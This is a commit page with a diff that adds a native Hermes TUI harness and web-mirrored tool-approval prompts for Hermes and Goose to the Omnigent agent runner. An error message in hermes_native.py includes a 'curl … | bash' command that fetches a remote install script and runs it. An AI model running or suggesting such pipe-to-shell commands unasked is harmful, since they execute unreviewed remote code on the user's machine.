feat(native): Hermes native TUI harness + synced web approval for hermes-native & goose-native (#1163)

* feat(hermes): add native Hermes TUI harness (hermes-native)

Adds `hermes-native`, the native counterpart to the headless `hermes`
harness (#1132), following the goose-native pattern: `omnigent hermes`
launches the real `hermes` prompt_toolkit TUI in a runner-owned tmux
pane, the harness executor injects each web turn via tmux bracketed
paste, and a forwarder tails Hermes' SQLite `state.db` to mirror the
transcript back into the Omnigent chat view.

Unlike goose-native, Hermes auto-generates its session id (no `--name`),
so the forwarder discovers the session cursor-native style: newest
`sessions` row whose `cwd` matches the workspace and `started_at` is
at/after the launch floor, with a claim guard for concurrent same-cwd
sessions. Like goose-native it applies no Omnigent policy hooks — the
TUI's own approval prompts gate tools, using the user's own `~/.hermes`
config.

New modules: hermes_native.py (CLI), hermes_native_bridge.py (tmux
inject), hermes_native_forwarder.py (state.db mirror),
inner/hermes_native_executor.py + hermes_native_harness.py. Wires the
harness registry, aliases, native-coding-agent metadata, runner terminal
spawn/interrupt/stop, CLI subcommand, resume dispatch, onboarding
readiness, and the ap-web frontend entry. Adds unit tests for the
executor, CLI/wiring, and forwarder (discovery, claim guard, mirroring).

Co-authored-by: Isaac

* fix(ap-web): add "hermes" to ConversationIconKind so the web UI builds

getConversationIconKind returns a native agent's iconKind (now including
"hermes") as a ConversationIconKind; the union was missing "hermes", so
`tsc -b` failed (TS2322) and broke `omnigent[all]` install (web UI build).
Mirrors how "qwen" — also glyph-less — is listed in both unions.

Co-authored-by: Isaac

* fix(hermes-native): render as a native terminal + keep the gold TUI colors

Two fixes from live testing:
- Add `terminal_hermes_main` to ap-web's AGENT_TERMINAL_IDS so isAgentTerminalKey
  recognizes the hermes pane as the agent terminal; without it isShellView
  treated it as a plain shell (and it leaked into the Shells inventory) — the
  same regression pi/cursor/goose/qwen each hit. Adds the matching test.
- Drop the NO_COLOR=1 env on the hermes terminal: it disabled Hermes' themed
  TUI (gold prompt rendered white). The bridge captures the pane with
  `capture-pane -p` (ANSI stripped) and the forwarder reads SQLite, so color
  never interferes with scraping.

Co-authored-by: Isaac

* feat(hermes-native): route tool calls through Omnigent policy (web approval)

The native Hermes TUI now gates tools via Omnigent's approval flow, matching
claude-/codex-native. The runner builds a per-session HERMES_HOME (the user's
full ~/.hermes config copied in, minus state.db, + Omnigent's pre_tool_call
shell hook layered on) and launches the TUI with HERMES_HOME=<dir> and
HERMES_YOLO_MODE=1. The hook calls the server's policy evaluate endpoint, which
parks on an ASK policy until the human responds to the web approval card; YOLO
suppresses Hermes' own in-TUI prompt so the web card is the sole gate (the hook
fires before, and independent of, Hermes' approval check per model_tools.py).
The forwarder tails the per-session HERMES_HOME/state.db. Adds a unit test.

Co-authored-by: Isaac

* feat(goose-native): route tool calls through Omnigent policy (web approval)

The native Goose TUI now gates tools via Omnigent's approval flow. The runner
builds a per-session GOOSE_PATH_ROOT holding an Open-Plugins `omnigent-policy`
plugin whose PreToolUse hook calls the server's policy evaluate endpoint (which
parks on ASK until the human answers the web approval card). Goose's PreToolUse
hook fires independent of GOOSE_MODE and denies on `{"decision":"block"}` — the
same contract as the hermes hook.

GOOSE_PATH_ROOT relocates all of Goose's dirs, so we symlink the real
config/data/state back in (preserving the user's auth + the sessions.db the
forwarder tails); the plugin lives only under the per-session root, so standalone
`goose` never sees it. The hook reads its per-session _OMNIGENT_* values from the
terminal env (Goose inherits env into hooks; verified no env_clear), failing open
when unset. GOOSE_MODE=auto suppresses Goose's own in-TUI prompt so the web card
is the sole gate. Real dirs are resolved by parsing `goose info` (ANSI- and
space-tolerant); if they can't be parsed we launch without gating rather than
break auth. Adds unit tests for the parser and plugin builder.

Co-authored-by: Isaac

* feat(policies): ask_on_os_tools recognizes Goose native tools

Goose namespaces its built-in developer tools as developer__shell /
developer__write / developer__edit / developer__text_editor / etc. Add them to
ask_on_os_tools so the standard approval policy gates a native goose session's
shell/file tools (web approval card) — without this the policy silently no-ops
for goose-native. Adds parametrized coverage mirroring the pi/hermes cases.

Co-authored-by: Isaac

* fix(native): restore vendors' in-TUI approval (drop YOLO/auto + policy-hook gating)

The policy-hook approach suppressed each vendor's own tool-approval prompt
(HERMES_YOLO_MODE=1 / GOOSE_MODE=auto) so only a web card gated — which meant
approvals showed only in the web chat, never in the TUI, and Hermes ran on YOLO.
That's the wrong model for native TUIs.

Revert the runner wiring to vendor-native approval: no HERMES_HOME/YOLO (Hermes
uses ~/.hermes and its own approval prompt; forwarder tails ~/.hermes/state.db),
and GOOSE_MODE=smart_approve so Goose prompts in its TUI. The prompt now appears
in the terminal AND the web's embedded terminal pane (answerable from either).

This is also step 1 of the chosen cursor-native-style synced mirror; step 2 (a
web elicitation card mirrored from the TUI prompt) lands next. The per-session
HERMES_HOME / GOOSE_PATH_ROOT policy-hook helpers are left in the tree, unused,
pending that follow-up.

Co-authored-by: Isaac

* feat(native): synced web approval mirror for hermes-native & goose-native

Surfaces each vendor's in-TUI approval prompt as a web elicitation card, synced
both ways (answer in the terminal OR the web card) — the cursor-native pattern,
now for Hermes and Goose. The vendor's own prompt stays the source of truth and
the fallback; nothing is suppressed.

- Generic POST /sessions/{id}/hooks/native-permission-request route: parks for
  the web verdict and labels the card per-vendor (agent/policy_name from body).
- hermes_native_permissions.py: detects Hermes' `DANGEROUS COMMAND` /
  `Choice [o/s/a/D]:` block (confirmed against hermes-agent locales/en.yaml by
  running it from source), sends `o` (approve) / `d` (deny).
- goose_native_permissions.py: detects Goose's cliclack `do you allow?` +
  Allow/Deny radio (from goose-cli prompt_tool_confirmation) and DRIVES the
  selector — `Enter` for the default Allow, `Down`×N + `Enter` for Deny (N=2
  with "Always Allow", else 1).
- capture_/send_*_pane helpers on both bridges; both mirrors run alongside the
  transcript forwarder under one supervised runner task (like cursor).

The goose arrow-select driving is position-dependent and the one part worth
confirming against a live Goose. Adds parser unit tests for both.

Co-authored-by: Isaac

* chore(native): drop the reverted policy-hook code, superseded by the mirror

The earlier policy-hook elicitation approach (per-session HERMES_HOME and
GOOSE_PATH_ROOT plugin) was reverted in favour of the cursor-native-style synced
approval mirror, leaving its builders dead. Remove them: delete
inner/goose_native_hook.py, drop setup_hermes_native_home /
setup_goose_native_plugin_root / real_goose_dirs and their now-unused imports
from the bridges (keeping the capture_/send_*_pane helpers the mirror uses), and
remove the corresponding tests. Keep ask_on_os_tools' Goose tool-name coverage
(useful for any policy that gates goose tools) and the headless harness's
hermes_policy_hook.py (still used by `harness: hermes`).

Co-authored-by: Isaac

* fix(native): correct hermes approval detection + stop goose card pile-up

Two live bugs in the approval mirrors:

- goose cards piled up and re-appeared at the end: dedup keyed on a hash of the
  scraped tool context above the cliclack widget, which jitters every poll, so a
  new card parked each 0.3s and only the latest cleared on a TUI answer. Switch
  both mirrors to presence-edge: one card per visible-prompt episode (a per-
  session counter id), cleared on the falling edge.

- hermes elicitation never fired: the interactive TUI renders the gate as a
  prompt_toolkit PANEL titled "⚠️  Dangerous Command" with NUMBERED choices
  (1. Allow once … 4. Deny), not the legacy `Choice [o/s/a/D]:` input() prompt
  (fail-closed under prompt_toolkit) that the parser keyed on. Rewrite the parser
  to detect the panel + read each choice's digit from the panel, and answer with
  that digit (Hermes' number-key binding selects AND confirms). Robust to the
  permanent-allowlist option (Deny is 4 with it, 3 without).

Confirmed the panel/keys against hermes-agent cli.py by reading it; the goose
arrow-select driving and these pane formats still want a live confirm. Tests
updated to the real formats.

Co-authored-by: Isaac

* test(e2e_ui): add native Hermes render-parity suite (satisfies E2E UI gate)

Mirrors test_native_goose_render_parity for hermes-native: composer→TUI parity,
a TUI-originated turn surfacing in the web UI, and no duplicate rendering, plus a
native_hermes_session fixture. Skips when hermes/tmux/config are absent (CI
provisions no Hermes account), like the goose/cursor suites. Covers the ap-web
Hermes native-agent UI behavior the E2E UI Required gate flagged.

Co-authored-by: Isaac

* chore(openapi): regenerate openapi.json for native-permission-request route

The new POST /sessions/{id}/hooks/native-permission-request route made the
checked-in openapi.json stale, failing the Pytest (server-rest) drift test.
Regenerated via scripts/dump_openapi.py.

Co-authored-by: Isaac

* test(native): cover the bridges, approval mirrors, forwarder loop, and CLI helpers

The new native modules dropped total coverage below baseline (Coverage gate),
and the e2e suites that would exercise them skip in CI (no vendor binaries).
Add unit tests: tmux bridge (inject/capture/send/spawn-env, mocked tmux); both
approval mirrors (_run_one_approval keystrokes, external_elicitation_resolved,
one-card-per-episode supervise); the hermes forwarder loop (discover→mirror) +
_post_conversation_item; and hermes_native CLI/daemon helpers (spec, payload
decode, tmux-availability, daemon-flow HTTP via a fake client). Lifts the new
modules from ~46% to ~70-85%.

Co-authored-by: Isaac

* test(e2e): exclude hermes-native from the live no-AGENT harness matrix

Registering hermes-native broke test_run_harness_live_matrix_covers_registered_
coding_harnesses (it asserts the matrix covers every registered harness).
hermes-native is a terminal-first TUI launched via `omni hermes` (tmux pane +
bridge), not `omnigent run --harness hermes-native`, and wraps the hermes CLI —
so it's excluded like goose-native/qwen-native/antigravity-native. Its coverage
is the dedicated hermes-native unit tests.

Co-authored-by: Isaac
This commit is contained in:
Dhruv Gupta
2026-06-24 17:01:15 -07:00
committed by GitHub
parent edf2c52735
commit edbdca8c0e
37 changed files with 4528 additions and 20 deletions
+15
View File
@@ -495,6 +495,12 @@ describe("inventoryTerminals", () => {
session: "main",
running: true,
};
const hermesPane: TerminalInfo = {
id: "terminal_hermes_main",
name: "hermes",
session: "main",
running: true,
};
const antigravityPane: TerminalInfo = {
id: "terminal_antigravity_main",
name: "antigravity",
@@ -540,6 +546,15 @@ describe("inventoryTerminals", () => {
expect(isAgentTerminalKey("terminal:terminal_qwen_main")).toBe(true);
});
it("drops the hermes vendor pane for native Hermes sessions", () => {
// Regression: terminal_hermes_main was missing from AGENT_TERMINAL_IDS, so
// the hermes TUI pane leaked into the Shells inventory and (via isShellView)
// opened as a plain shell while hiding the Chat/Terminal pill — same failure
// mode as the pi/cursor/goose/qwen panes above.
expect(inventoryTerminals([hermesPane, bash], true)).toEqual([bash]);
expect(isAgentTerminalKey("terminal:terminal_hermes_main")).toBe(true);
});
it("drops the antigravity vendor pane for native Antigravity sessions", () => {
// Regression (#1157): terminal_antigravity_main was missing from
// AGENT_TERMINAL_IDS, so the agy TUI pane leaked into the Shells inventory
+1
View File
@@ -69,6 +69,7 @@ export const AGENT_TERMINAL_IDS: ReadonlySet<string> = new Set([
"terminal_goose_main",
"terminal_qwen_main",
"terminal_antigravity_main",
"terminal_hermes_main",
]);
/**
+16 -1
View File
@@ -12,7 +12,8 @@ export type NativeCodingAgentIconKind =
| "cursor"
| "goose"
| "antigravity"
| "qwen";
| "qwen"
| "hermes";
export type NativeCodingAgentCapability = "permissionMode" | "approvalMode";
export interface NativeCodingAgentSpec {
@@ -111,6 +112,19 @@ export const NATIVE_CODING_AGENTS = [
iconKind: "qwen",
sortRank: 60,
},
{
// hermes has no brand glyph yet, so it falls back to the generic bot icon
// (see AgentCard.iconForAgent / SubagentsPanel) — the `iconKind: "hermes"`
// intentionally matches no icon branch. Auth/approval surface in the
// embedded terminal, so no capability flags are declared here.
key: "hermes",
agentName: "hermes-native-ui",
harness: "hermes-native",
wrapperLabel: "hermes-native-ui",
displayName: "Hermes",
iconKind: "hermes",
sortRank: 70,
},
] as const satisfies readonly NativeCodingAgentSpec[];
const BY_AGENT_NAME: Map<string, NativeCodingAgentSpec> = new Map(
@@ -133,6 +147,7 @@ const HARNESS_ALIASES: Record<string, string> = {
"native-antigravity": "antigravity-native",
"native-goose": "goose-native",
"native-qwen": "qwen-native",
"native-hermes": "hermes-native",
};
export function nativeCodingAgentForAgentName(
+1
View File
@@ -30,6 +30,7 @@ export type ConversationIconKind =
| "goose"
| "antigravity"
| "qwen"
| "hermes"
| "nessie"
| null;
+4
View File
@@ -69,3 +69,7 @@ ANTIGRAVITY_NATIVE_WRAPPER_VALUE = "antigravity-native-ui"
# Value the ``omnigent qwen`` wrapper writes into
# ``conversations.labels[WRAPPER_LABEL_KEY]``.
QWEN_NATIVE_WRAPPER_VALUE = "qwen-native-ui"
# Value the ``omnigent hermes`` wrapper writes into
# ``conversations.labels[WRAPPER_LABEL_KEY]``.
HERMES_NATIVE_WRAPPER_VALUE = "hermes-native-ui"
+81
View File
@@ -1172,6 +1172,7 @@ _CLICK_SUBCOMMANDS: frozenset[str] = frozenset(
"debby",
"debug",
"goose",
"hermes",
"host",
"lakebox",
"login",
@@ -4761,6 +4762,86 @@ def goose(
)
@cli.command(
context_settings={
"ignore_unknown_options": True,
"allow_extra_args": True,
}
)
@click.option(
"--server",
default=None,
help=(
"Remote omnigent URL. Ensures the host daemon, asks the "
"daemon-spawned runner to launch the Hermes TUI, and attaches this TTY. "
'Pass --server "" to auto-spawn a persistent local server in the '
"background and use that instead of a remote one."
),
)
@click.option(
"-r",
"--resume",
"resume",
is_flag=False,
flag_value=_RESUME_PICKER_SENTINEL,
default=None,
help=(
"Resume a prior Omnigent conversation. With a conversation id "
"(e.g. ``--resume conv_abc123``) attaches directly; with no value "
"opens an interactive picker scoped to hermes-native sessions."
),
)
@click.option(
"--session",
"session_id",
metavar="SESSION_ID",
default=None,
hidden=True,
help="Deprecated alias for ``--resume <id>``; kept for one release.",
)
@click.argument("hermes_args", nargs=-1, type=click.UNPROCESSED)
def hermes(
server: str | None,
resume: str | None,
session_id: str | None,
hermes_args: tuple[str, ...],
) -> None:
"""Launch the Hermes TUI in an Omnigent terminal.
\b
Examples:
omnigent hermes
omnigent hermes --resume conv_abc123
omnigent hermes --resume # interactive picker
"""
choice = _split_resume_value(resume)
if session_id is not None and (choice.picker or choice.conversation_id is not None):
raise click.UsageError(
"--session and --resume are mutually exclusive; "
"prefer --resume (--session is deprecated).",
)
from omnigent.hermes_native import run_hermes_native
cfg = _load_effective_config()
if server is None:
server = cfg.get("server")
auto_open_conversation = _resolve_auto_open_conversation_from_config(cfg)
server = _ensure_backend(server)
resolved_session_id = (
choice.conversation_id if choice.conversation_id is not None else session_id
)
run_hermes_native(
server=server,
session_id=resolved_session_id,
resume_picker=choice.picker,
hermes_args=hermes_args,
auto_open_conversation=auto_open_conversation,
)
@cli.command(
context_settings={
"ignore_unknown_options": True,
+38
View File
@@ -350,3 +350,41 @@ def kill_session(bridge_dir: Path, *, timeout_s: float = _TMUX_READY_TIMEOUT_S)
"""
info = _wait_for_tmux_info(bridge_dir, timeout_s=timeout_s)
_run_tmux(info["socket_path"], "kill-session", "-t", info["tmux_target"])
def capture_goose_pane(bridge_dir: Path) -> str | None:
"""Return the visible Goose pane text, or ``None`` if the TUI is not running.
Used by the runner-side approval mirror
(:mod:`omnigent.goose_native_permissions`) to detect Goose's in-terminal
``cliclack`` tool-approval prompt. ``None`` (no advertised tmux target, or a
dead pane) is distinct from ``""`` (a live but empty capture).
:param bridge_dir: The goose-native bridge dir holding ``tmux.json``.
:returns: The captured pane text, or ``None`` when no live pane exists.
"""
info = read_tmux_info(bridge_dir)
if info is None:
return None
socket_path, tmux_target = info["socket_path"], info["tmux_target"]
if not _session_alive(socket_path, tmux_target):
return None
return _capture_pane(socket_path, tmux_target)
def send_goose_pane_keys(bridge_dir: Path, *keys: str) -> None:
"""Send one or more keys to the Goose pane (tmux ``send-keys``).
Used by the approval mirror to drive Goose's ``cliclack`` select from a web
verdict, e.g. ``"Enter"`` to choose the highlighted "Allow" or ``"Down"`` to
move to "Deny". Each key is a tmux key name/argument (not bracketed-paste
data), so multi-byte keys like ``"Enter"`` / ``"Down"`` are interpreted.
:param bridge_dir: The goose-native bridge dir holding ``tmux.json``.
:param keys: tmux key arguments, e.g. ``"Down"`` or ``"Enter"``.
:raises RuntimeError: If the tmux target is not advertised or send-keys fails.
"""
info = read_tmux_info(bridge_dir)
if info is None:
raise RuntimeError("goose-native tmux target not advertised")
_run_tmux(info["socket_path"], "send-keys", "-t", info["tmux_target"], *keys)
+291
View File
@@ -0,0 +1,291 @@
"""Goose-native tool-approval mirror (TUI → web elicitation).
In ``approve`` / ``smart_approve`` mode the native ``goose session`` TUI gates
tool calls with an in-terminal ``cliclack`` selector (its
``prompt_tool_confirmation``). To also surface those approvals in the Omnigent
web UI (so a user can answer from the chat view, not only the embedded terminal),
the runner watches the Goose pane:
1. poll ``capture-pane`` and detect the confirmation block — Goose renders the
question ``Goose would like to call the above tool, do you allow?`` (or, with
a security message, ``Do you allow this tool call?``) followed by a cliclack
radio list ``Allow`` / ``Always Allow`` / ``Deny`` / ``Cancel`` (verified
against goose-cli ``session/mod.rs::prompt_tool_confirmation``),
2. POST it to the server's generic ``native-permission-request`` hook, which
publishes ``response.elicitation_request`` and parks for the web verdict,
3. on the verdict, DRIVE the cliclack selector: ``Enter`` chooses the
default-highlighted ``Allow``; to deny, send ``Down`` to the ``Deny`` row then
``Enter`` (the ``Deny`` index is 2 when ``Always Allow`` is offered, else 1),
4. if the prompt disappears on its own (answered in the embedded terminal), POST
``external_elicitation_resolved`` so the parked web card clears.
This does NOT suppress Goose's gate — its cliclack prompt stays the source of
truth and the fallback if pane detection ever fails (the user can still arrow +
Enter in the terminal). Mirrors :mod:`omnigent.cursor_native_permissions`; the
arrow-driven selector (vs cursor's single-key) is the fragile part and is worth
confirming against a live Goose.
"""
from __future__ import annotations
import asyncio
import hashlib
import logging
import re
from dataclasses import dataclass
from pathlib import Path
import httpx
from omnigent.goose_native_bridge import capture_goose_pane, send_goose_pane_keys
_logger = logging.getLogger(__name__)
_POLL_INTERVAL_S = 0.3
_POST_TIMEOUT_S = 86400.0
# The confirmation question — both phrasings contain "do you allow"; it is only
# present while cliclack is awaiting a choice, so it's the liveness signal.
_PROMPT_RE = re.compile(r"do you allow", re.IGNORECASE)
# cliclack box-drawing / radio prefixes to strip when reading the subject lines.
_CLICLACK_PREFIX_RE = re.compile(r"^[\s│◆◇◊○●▲▶>|*-]+")
_ITEM_LABELS = ("Always Allow", "Allow", "Deny", "Cancel")
_SUBJECT_SCAN_LINES = 8
@dataclass(frozen=True)
class GooseApprovalPrompt:
"""A parsed Goose cliclack tool-confirmation prompt.
:param subject: The tool/command context shown above the question (best
effort, for the card preview + dedupe).
:param message: Human-readable card message.
:param preview: Compact preview for the card.
:param deny_down_count: Number of ``Down`` presses from the default-
highlighted ``Allow`` to reach ``Deny`` (2 with "Always Allow", else 1).
:param block_hash: Stable hash of the subject used to dedupe across polls and
to mint a stable elicitation id.
"""
subject: str
message: str
preview: str
deny_down_count: int
block_hash: str
def goose_permission_elicitation_id(session_id: str, token: str) -> str:
"""Return the deterministic Omnigent elicitation id for a Goose prompt.
*token* identifies one approval episode (a per-session counter), not the
scraped content — the rendered tool context above the cliclack widget jitters
across polls, so hashing it spawned a duplicate card every poll.
"""
return f"elicit_goose_{session_id}_{token}"
def _looks_like_item(line: str) -> bool:
"""Whether *line* is one of the cliclack radio item rows."""
stripped = _CLICLACK_PREFIX_RE.sub("", line).strip()
return any(stripped.startswith(label) for label in _ITEM_LABELS)
def parse_goose_approval_prompt(pane: str) -> GooseApprovalPrompt | None:
"""Parse a Goose cliclack tool-confirmation block from rendered pane text.
Requires the ``do you allow`` question AND both an ``Allow`` and a ``Deny``
radio item, so unrelated text never trips it.
:param pane: Visible pane text from ``capture-pane -p``.
:returns: The parsed prompt, or ``None`` when no live prompt is visible.
"""
if not pane:
return None
match = _PROMPT_RE.search(pane)
if match is None:
return None
lines = pane.splitlines()
question_idx = next((i for i, ln in enumerate(lines) if _PROMPT_RE.search(ln)), None)
if question_idx is None:
return None
# The radio items render after the question.
tail = "\n".join(lines[question_idx:])
has_allow = re.search(r"\bAllow\b", tail) is not None
has_deny = re.search(r"\bDeny\b", tail) is not None
if not (has_allow and has_deny):
return None
# "Always Allow" present → Deny is the 3rd item (2 downs); else 2nd (1 down).
deny_down_count = 2 if re.search(r"Always Allow", tail) else 1
# Subject = the meaningful (non-item, non-box) lines just above the question,
# i.e. the tool-request context Goose rendered. Best effort; used for the card
# preview and to dedupe distinct tool calls (the question text is generic).
subject_lines: list[str] = []
start = max(0, question_idx - _SUBJECT_SCAN_LINES)
for ln in lines[start:question_idx]:
if _looks_like_item(ln):
continue
cleaned = _CLICLACK_PREFIX_RE.sub("", ln).strip()
if cleaned:
subject_lines.append(cleaned)
subject = " | ".join(subject_lines[-3:])[:1024]
digest_src = subject or tail
block_hash = hashlib.sha256(digest_src.encode("utf-8")).hexdigest()[:16]
return GooseApprovalPrompt(
subject=subject,
message="Goose wants to call a tool. Allow?",
preview=subject or "Goose tool call",
deny_down_count=deny_down_count,
block_hash=block_hash,
)
async def supervise_goose_approval_mirror(
*,
base_url: str,
headers: dict[str, str],
session_id: str,
bridge_dir: Path,
auth: httpx.Auth | None = None,
poll_interval_s: float = _POLL_INTERVAL_S,
) -> None:
"""Poll the Goose pane and mirror its approval prompts to web elicitations.
:param base_url: Server base URL.
:param headers: Auth/routing headers for the runner's requests.
:param session_id: Omnigent conversation id.
:param bridge_dir: The goose-native bridge dir holding ``tmux.json``.
:param auth: Optional httpx auth for the runner's requests.
:param poll_interval_s: Pane poll cadence in seconds.
"""
active: dict[str, object] | None = None
episode = 0
timeout = httpx.Timeout(_POST_TIMEOUT_S, connect=10.0)
async with httpx.AsyncClient(
base_url=base_url, headers=headers, auth=auth, timeout=timeout
) as client:
while True:
try:
pane = await asyncio.to_thread(capture_goose_pane, bridge_dir)
prompt = parse_goose_approval_prompt(pane) if pane else None
if prompt is not None:
# Rising edge only: ONE card per visible-prompt episode. We do
# NOT re-mint while the prompt stays up — the scraped tool
# context above the cliclack widget jitters across polls, and
# keying on it previously parked a fresh card every poll (all
# left dangling when the TUI answer cleared only the latest).
if active is None:
episode += 1
elicitation_id = goose_permission_elicitation_id(session_id, str(episode))
task = asyncio.create_task(
_run_one_approval(
client,
session_id=session_id,
bridge_dir=bridge_dir,
prompt=prompt,
elicitation_id=elicitation_id,
),
name=f"goose-approval-{episode}",
)
active = {"elicitation_id": elicitation_id, "task": task}
elif active is not None:
# Falling edge: the prompt vanished. If the web card is still
# parked (answered in the TUI), release it; if the task already
# finished (answered via the web verdict), nothing to do.
task = active["task"]
if isinstance(task, asyncio.Task) and not task.done():
await _post_external_elicitation_resolved(
client, session_id, str(active["elicitation_id"])
)
active = None
except asyncio.CancelledError:
raise
except Exception:
_logger.exception(
"goose approval mirror poll failed; session=%s bridge_dir=%s",
session_id,
bridge_dir,
)
await asyncio.sleep(poll_interval_s)
async def _run_one_approval(
client: httpx.AsyncClient,
*,
session_id: str,
bridge_dir: Path,
prompt: GooseApprovalPrompt,
elicitation_id: str,
) -> None:
"""Park one Goose prompt on the server and drive the cliclack selector."""
payload = {
"elicitation_id": elicitation_id,
"agent": "Goose",
"policy_name": "goose_native_permission",
"operation_type": "tool",
"message": prompt.message,
"content_preview": prompt.preview,
}
try:
response = await client.post(
f"/v1/sessions/{session_id}/hooks/native-permission-request",
json=payload,
)
except httpx.HTTPError:
_logger.exception("goose permission hook POST failed; session=%s", session_id)
return
if response.status_code >= 400:
_logger.warning(
"goose permission hook rejected: status=%s body=%s",
response.status_code,
response.text[:512],
)
return
if not response.content:
return
try:
result = response.json()
except ValueError:
_logger.warning("goose permission hook returned non-JSON: %s", response.text[:512])
return
action = result.get("action") if isinstance(result, dict) else None
# Drive the cliclack radio: Enter selects the default-highlighted "Allow";
# Down×N + Enter selects "Deny". A decline/cancel verdict both map to Deny.
keys: tuple[str, ...] | None = None
if action == "accept":
keys = ("Enter",)
elif action in {"decline", "cancel"}:
keys = (*(["Down"] * prompt.deny_down_count), "Enter")
if keys is None:
return
try:
await asyncio.to_thread(send_goose_pane_keys, bridge_dir, *keys)
except RuntimeError:
_logger.exception(
"failed to send goose approval keystrokes %r; session=%s", keys, session_id
)
async def _post_external_elicitation_resolved(
client: httpx.AsyncClient, session_id: str, elicitation_id: str
) -> None:
"""Tell the server the native TUI answered a pending Goose prompt."""
try:
response = await client.post(
f"/v1/sessions/{session_id}/events",
json={
"type": "external_elicitation_resolved",
"data": {"elicitation_id": elicitation_id},
},
timeout=10.0,
)
if response.status_code >= 400:
_logger.warning(
"goose external_elicitation_resolved rejected: status=%s body=%s",
response.status_code,
response.text[:512],
)
except httpx.HTTPError:
_logger.exception("goose external_elicitation_resolved POST failed")
+9
View File
@@ -28,6 +28,10 @@ HARNESS_ALIASES: dict[str, str] = {
# (there is no separate SDK ``opencode`` harness, so the bare name is free).
"opencode": "opencode-native",
"native-opencode": "opencode-native",
# User-facing reversed spelling for the Hermes native-CLI (TUI) harness;
# canonical id is "hermes-native" (the headless subprocess harness keeps the
# bare "hermes" name, like goose vs goose-native).
"native-hermes": "hermes-native",
# User-facing spelling for the GitHub Copilot SDK harness; the canonical id
# is "copilot" (matches the registry / workflow type).
"github-copilot": "copilot",
@@ -60,6 +64,11 @@ NATIVE_HARNESSES: frozenset[str] = frozenset(
"native-qwen",
"opencode-native",
"native-opencode",
# Native Hermes (TUI) bridge used by ``omnigent hermes``; the headless
# subprocess counterpart is the canonical ``hermes`` harness (see
# HARNESS_ALIASES / runtime/harnesses/__init__.py).
"hermes-native",
"native-hermes",
}
)
+624
View File
@@ -0,0 +1,624 @@
"""Native Hermes TUI wrapper for the Omnigent CLI.
``omnigent hermes`` launches Nous Research's Hermes Agent interactive TUI (the bare
``hermes`` command) inside an Omnigent-runner-owned tmux terminal and attaches the
local TTY — the Hermes analog of ``omnigent goose`` / ``omnigent cursor``. The
runner spawns the process (see
:func:`omnigent.runner.app._auto_create_hermes_terminal`); this module owns the
CLI-side orchestration: session create/resume, daemon runner bind, terminal-ready
poll, and the direct tmux attach.
Auth is Hermes' own configuration (``hermes setup`` / ``hermes model`` →
``~/.hermes/config.yaml``); no Omnigent-managed key is required. Like goose there
is no extension bridge — the runner sets up the terminal environment directly
(forcing ``NO_COLOR`` so the pane scrapes cleanly).
"""
from __future__ import annotations
import asyncio
import json
import os
import shutil
from collections.abc import Callable, Mapping, Sequence
from dataclasses import dataclass
from pathlib import Path
from tempfile import TemporaryDirectory
from typing import Any
import click
import httpx
import yaml
from omnigent._native_resume_hint import echo_native_cold_resume_hint, echo_native_resume_hint
from omnigent._runner_startup import RunnerStartupProgress, runner_startup_progress
from omnigent._wrapper_labels import HERMES_NATIVE_WRAPPER_VALUE as _WRAPPER_LABEL_VALUE
from omnigent._wrapper_labels import WRAPPER_LABEL_KEY as _WRAPPER_LABEL_KEY
from omnigent.conversation_browser import conversation_url, open_conversation_link_if_enabled
from omnigent.entities.session_resources import terminal_resource_id
from omnigent.host.daemon_launch import (
error_text,
launch_or_reuse_daemon_runner,
wait_for_host_online,
wait_for_runner_online,
)
from omnigent.native_terminal import (
DAEMON_HOST_ONLINE_TIMEOUT_S as _DAEMON_HOST_ONLINE_TIMEOUT_S,
)
from omnigent.native_terminal import (
DAEMON_RUNNER_ONLINE_TIMEOUT_S as _DAEMON_RUNNER_ONLINE_TIMEOUT_S,
)
from omnigent.native_terminal import (
DAEMON_TERMINAL_READY_TIMEOUT_S as _DAEMON_TERMINAL_READY_TIMEOUT_S,
)
from omnigent.native_terminal import bind_session_runner as _bind_session_runner
from omnigent.native_terminal import url_component
_DEFAULT_HERMES_COMMAND = "hermes"
_HERMES_PATH_ENV = "OMNIGENT_HERMES_PATH"
_AGENT_NAME = "hermes-native-ui"
_TERMINAL_NAME = "hermes"
_TERMINAL_SESSION_KEY = "main"
_SESSION_LABELS = {
"omnigent.ui": "terminal",
_WRAPPER_LABEL_KEY: _WRAPPER_LABEL_VALUE,
}
@dataclass(frozen=True)
class NativeHermesLaunch:
"""Resolved native Hermes process launch."""
executable: str
argv: list[str]
@dataclass(frozen=True)
class LaunchedHermesTerminal:
"""Terminal resource returned by the Omnigent runner launch path."""
terminal_id: str
tmux_socket: Path | None
tmux_target: str | None
@dataclass(frozen=True)
class PreparedHermesTerminal:
"""Prepared native Hermes terminal attachment details.
:param reattached: ``True`` when an existing, still-running session terminal
was reused (the live-reattach path: prior session intact).
:param cold_resumed: ``True`` when resuming an existing Omnigent session whose
terminal had already exited, so a *fresh* ``hermes`` TUI was launched.
Mirrors goose-native: ``cold_resumed`` and ``reattached`` are mutually
exclusive (the cold-resume path leaves ``reattached`` False).
"""
session_id: str
terminal_id: str
tmux_socket: Path | None
tmux_target: str | None
reattached: bool
cold_resumed: bool = False
def _configured_hermes_command(env: Mapping[str, str]) -> str:
"""Return the configured hermes executable name/path from *env*."""
value = env.get(_HERMES_PATH_ENV, "").strip()
return value or _DEFAULT_HERMES_COMMAND
def resolve_hermes_executable(
*,
env: Mapping[str, str] | None = None,
which: Callable[[str], str | None] | None = None,
) -> str:
"""
Resolve the native Hermes (``hermes``) executable.
:param env: Environment mapping to inspect. Defaults to ``os.environ``.
:param which: Resolver hook for tests; defaults to ``shutil.which``.
:returns: Absolute executable path.
:raises click.ClickException: If no hermes CLI is available.
"""
env = os.environ if env is None else env
which = shutil.which if which is None else which
command = _configured_hermes_command(env)
resolved = which(command)
if resolved is None:
install_url = "https://hermes-agent.nousresearch.com/install.sh"
raise click.ClickException(
"Native Hermes requires the 'hermes' CLI on PATH. Install it with: "
f"curl -fsSL {install_url} | bash, then run 'hermes setup' to "
"configure a model/provider. "
f"You can also set {_HERMES_PATH_ENV}=/path/to/hermes."
)
return resolved
def build_hermes_launch(
hermes_args: Sequence[str],
*,
env: Mapping[str, str] | None = None,
which: Callable[[str], str | None] | None = None,
) -> NativeHermesLaunch:
"""Build the argv for a native Hermes process."""
executable = resolve_hermes_executable(env=env, which=which)
return NativeHermesLaunch(executable=executable, argv=[executable, *hermes_args])
def run_hermes_native(
*,
server: str | None,
session_id: str | None,
hermes_args: tuple[str, ...],
resume_picker: bool = False,
auto_open_conversation: bool = False,
) -> None:
"""
Launch the Hermes TUI in an Omnigent terminal.
